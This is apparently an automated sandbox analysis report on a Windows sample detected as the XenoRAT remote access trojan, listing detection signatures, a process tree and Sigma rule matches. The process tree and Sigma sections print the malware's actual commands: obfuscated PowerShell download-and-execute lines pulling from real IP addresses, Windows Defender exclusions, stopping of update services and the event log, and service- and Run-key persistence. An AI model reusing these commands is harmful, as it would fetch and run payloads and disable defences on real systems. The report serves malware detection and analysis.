Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:file.exe
Analysis ID:1467504
MD5:92d4e2ef88e5aafb72ddde13e84b549a
SHA1:24ddd5e2c7e96e52e00f5a6e2b29e4b100d0c578
SHA256:a77d96f186d1cc96dc589f4a6d55b45c9c04c77072fd504a720f437412ff93cb
Tags:exe
Infos:

Detection

XenoRAT
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Multi AV Scanner detection for submitted file
Sigma detected: Disable power options
Sigma detected: Stop EventLog
Yara detected Powershell download and execute
Yara detected XenoRAT
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Allocates memory in foreign processes
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Downloads files with wrong headers with respect to MIME Content-Type
Found direct / indirect Syscall (likely to bypass EDR)
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies power options to not sleep / hibernate
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
PE file contains section with special chars
Powershell drops PE file
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to evade debugger and weak emulator (self modifying code)
Uses ipconfig to lookup or modify the Windows network settings
Uses powercfg.exe to modify the power settings
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
AV process strings found (often used to terminate AV products)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Entry point lies outside standard sections
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Powershell Defender Exclusion
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • file.exe (PID: 5680 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 92D4E2EF88E5AAFB72DDDE13E84B549A)
    • powershell.exe (PID: 5492 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/L.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 4616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • ipconfig.exe (PID: 992 cmdline: "C:\Windows\system32\ipconfig.exe" /flushdns MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)
      • cmd.exe (PID: 7084 cmdline: "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Public\0x1.log MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • attrib.exe (PID: 4032 cmdline: attrib +h C:\Users\Public\0x1.log MD5: 0E938DD280E83B1596EC6AA48729C2B0)
      • ipconfig.exe (PID: 6204 cmdline: "C:\Windows\system32\ipconfig.exe" /flushdns MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)
      • RegSvcs.exe (PID: 5396 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
    • powershell.exe (PID: 6600 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/M.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 6368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • ipconfig.exe (PID: 3184 cmdline: "C:\Windows\system32\ipconfig.exe" /flushdns MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)
      • powershell.exe (PID: 2248 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\ MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • LB311.exe (PID: 420 cmdline: "C:\Users\user\AppData\Roaming\LB311.exe" MD5: C4BEF67027DB50C7F4F3A64584FED4A7)
        • powershell.exe (PID: 3300 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
          • conhost.exe (PID: 5748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • cmd.exe (PID: 7312 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
          • conhost.exe (PID: 7328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • wusa.exe (PID: 7400 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
        • sc.exe (PID: 7320 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
          • conhost.exe (PID: 7336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • sc.exe (PID: 7416 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
          • conhost.exe (PID: 7424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • sc.exe (PID: 7476 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
          • conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • sc.exe (PID: 7528 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
          • conhost.exe (PID: 7536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • sc.exe (PID: 7576 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
          • conhost.exe (PID: 7584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powercfg.exe (PID: 7624 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
          • conhost.exe (PID: 7640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powercfg.exe (PID: 7632 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
          • conhost.exe (PID: 7656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powercfg.exe (PID: 7648 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
          • conhost.exe (PID: 7692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powercfg.exe (PID: 7684 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
          • conhost.exe (PID: 7732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • dialer.exe (PID: 7724 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)
          • winlogon.exe (PID: 560 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)
          • lsass.exe (PID: 652 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)
          • svchost.exe (PID: 928 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
          • dwm.exe (PID: 996 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)
          • svchost.exe (PID: 436 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
        • sc.exe (PID: 7800 cmdline: C:\Windows\system32\sc.exe delete "LIB" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
          • conhost.exe (PID: 7820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • sc.exe (PID: 7876 cmdline: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
          • conhost.exe (PID: 7884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • sc.exe (PID: 7944 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
          • conhost.exe (PID: 7968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • sc.exe (PID: 7952 cmdline: C:\Windows\system32\sc.exe start "LIB" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
          • conhost.exe (PID: 7960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 4208 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/S.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 5424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • wscript.exe (PID: 5028 cmdline: "C:\Windows\system32\wscript.exe" //E:VBScript C:\Users\Public\0x1.log //Nologo MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • powershell.exe (PID: 5088 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 3580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • ipconfig.exe (PID: 2924 cmdline: "C:\Windows\system32\ipconfig.exe" /flushdns MD5: 62F170FB07FDBB79CEB7147101406EB8)
      • RegSvcs.exe (PID: 1708 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
      • svchost.exe (PID: 2924 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • wscript.exe (PID: 1112 cmdline: "C:\Windows\system32\wscript.exe" //E:VBScript C:\Users\Public\0x1.log //Nologo MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • powershell.exe (PID: 7176 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • ipconfig.exe (PID: 7976 cmdline: "C:\Windows\system32\ipconfig.exe" /flushdns MD5: 62F170FB07FDBB79CEB7147101406EB8)
      • RegSvcs.exe (PID: 8188 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
  • Mig.exe (PID: 8040 cmdline: C:\ProgramData\Mig\Mig.exe MD5: C4BEF67027DB50C7F4F3A64584FED4A7)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000041.00000002.2374077703.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_XenoRATYara detected XenoRATJoe Security
    Process Memory Space: file.exe PID: 5680JoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
      Process Memory Space: wscript.exe PID: 5028JoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
        Process Memory Space: wscript.exe PID: 1112JoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          65.2.RegSvcs.exe.400000.0.unpackJoeSecurity_XenoRATYara detected XenoRATJoe Security

            Other

            SourceRuleDescriptionAuthorStrings
            amsi32_5492.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
              amsi32_6600.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
                amsi32_4208.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
                  amsi64_5088.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
                    amsi64_7176.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security

                      Sigma Signatures

                      Change of critical system settings

                      barindex
                      Sigma detected: Disable power options
                      Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\LB311.exe" , ParentImage: C:\Users\user\AppData\Roaming\LB311.exe, ParentProcessId: 420, ParentProcessName: LB311.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 7624, ProcessName: powercfg.exe

                      System Summary

                      barindex
                      Sigma detected: New RUN Key Pointing to Suspicious Folder
                      Source: Registry Key setAuthor: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: wscript //E:VBScript C:\Users\Public\0x1.log //Nologo, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5492, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft
                      Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/M.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X , ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6600, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\, ProcessId: 2248, ProcessName: powershell.exe
                      Sigma detected: Script Interpreter Execution From Suspicious Folder
                      Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\wscript.exe" //E:VBScript C:\Users\Public\0x1.log //Nologo, CommandLine: "C:\Windows\system32\wscript.exe" //E:VBScript C:\Users\Public\0x1.log //Nologo, CommandLine|base64offset|contains: h(, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\system32\wscript.exe" //E:VBScript C:\Users\Public\0x1.log //Nologo, ProcessId: 5028, ProcessName: wscript.exe
                      Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
                      Source: File createdAuthor: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5492, TargetFilename: C:\Users\Public\0x1.log
                      Sigma detected: CurrentVersion Autorun Keys Modification
                      Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: wscript //E:VBScript C:\Users\Public\0x1.log //Nologo, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5492, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft
                      Sigma detected: Potential Binary Or Script Dropper Via PowerShell
                      Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6600, TargetFilename: C:\Users\user\AppData\Roaming\LB311.exe
                      Sigma detected: Powershell Defender Exclusion
                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/M.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X , ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6600, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\, ProcessId: 2248, ProcessName: powershell.exe
                      Sigma detected: Uncommon Svchost Parent Process
                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5088, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2924, ProcessName: svchost.exe
                      Sigma detected: New Service Creation Using Sc.EXE
                      Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\LB311.exe" , ParentImage: C:\Users\user\AppData\Roaming\LB311.exe, ParentProcessId: 420, ParentProcessName: LB311.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto", ProcessId: 7876, ProcessName: sc.exe
                      Sigma detected: Non Interactive PowerShell Process Spawned
                      Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/L.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/L.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X , CommandLine|base64offset|contains: ", Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5680, ParentProcessName: file.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/L.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X , ProcessId: 5492, ProcessName: powershell.exe

                      HIPS / PFW / Operating System Protection Evasion

                      barindex
                      Sigma detected: Stop EventLog
                      Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\LB311.exe" , ParentImage: C:\Users\user\AppData\Roaming\LB311.exe, ParentProcessId: 420, ParentProcessName: LB311.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 7944, ProcessName: sc.exe

                      Snort Signatures

                      ⊘No Snort rule has matched

                      Joe Sandbox Signatures

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Antivirus detection for URL or domain
                      Source: https://2no.co/XgW3f.gifAvira URL Cloud: Label: malware
                      Source: https://2no.co/XgzVd.gifAvira URL Cloud: Label: malware
                      Multi AV Scanner detection for submitted file
                      Source: file.exeVirustotal: Detection: 27%Perma Link
                      AI detected suspicious sample
                      Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                      Machine Learning detection for dropped file
                      Source: C:\ProgramData\Mig\Mig.exeJoe Sandbox ML: detected
                      Source: C:\Users\user\AppData\Roaming\LB311.exeJoe Sandbox ML: detected
                      Machine Learning detection for sample
                      Source: file.exeJoe Sandbox ML: detected
                      Source: file.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                      Source: unknownHTTPS traffic detected: 172.67.149.76:443 -> 192.168.2.6:49715 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 172.67.149.76:443 -> 192.168.2.6:49730 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 104.17.247.203:443 -> 192.168.2.6:49734 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 88.212.202.52:443 -> 192.168.2.6:49739 version: TLS 1.2
                      Source: Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: LB311.exe, 00000016.00000002.2401037551.00007FF767DEA000.00000040.00000001.01000000.0000000A.sdmp, Mig.exe, 00000040.00000002.2394931447.00007FF69874A000.00000040.00000001.01000000.0000000D.sdmp
                      Source: Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: LB311.exe, LB311.exe, 00000016.00000002.2401037551.00007FF767DEA000.00000040.00000001.01000000.0000000A.sdmp, Mig.exe, Mig.exe, 00000040.00000002.2394931447.00007FF69874A000.00000040.00000001.01000000.0000000D.sdmp
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D0165EDCE0 FindFirstFileExW,55_2_000002D0165EDCE0
                      Source: C:\Windows\System32\lsass.exeCode function: 58_2_000002D6F151DCE0 FindFirstFileExW,58_2_000002D6F151DCE0
                      Source: C:\Windows\System32\svchost.exeCode function: 66_2_0000014E41FDDCE0 FindFirstFileExW,66_2_0000014E41FDDCE0
                      Source: C:\Windows\System32\dwm.exeCode function: 67_2_000001D15B05DCE0 FindFirstFileExW,67_2_000001D15B05DCE0
                      Source: C:\Windows\System32\svchost.exeCode function: 68_2_0000023AF32EDCE0 FindFirstFileExW,68_2_0000023AF32EDCE0

                      Software Vulnerabilities

                      barindex
                      Suspicious execution chain found
                      Source: C:\Windows\System32\wscript.exeChild: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

                      Networking

                      barindex
                      Downloads files with wrong headers with respect to MIME Content-Type
                      Source: httpImage file has PE prefix: HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Fri, 15 Mar 2024 16:30:30 GMT Accept-Ranges: bytes ETag: "e0336718f676da1:0" Server: Microsoft-IIS/10.0 Date: Thu, 04 Jul 2024 09:16:14 GMT Content-Length: 7633920 Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 5e 6e f4 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 a0 00 00 00 78 54 00 00 00 00 00 00 00 ae 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 ae 00 00 04 00 00 d8 97 74 00 02 00 60 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 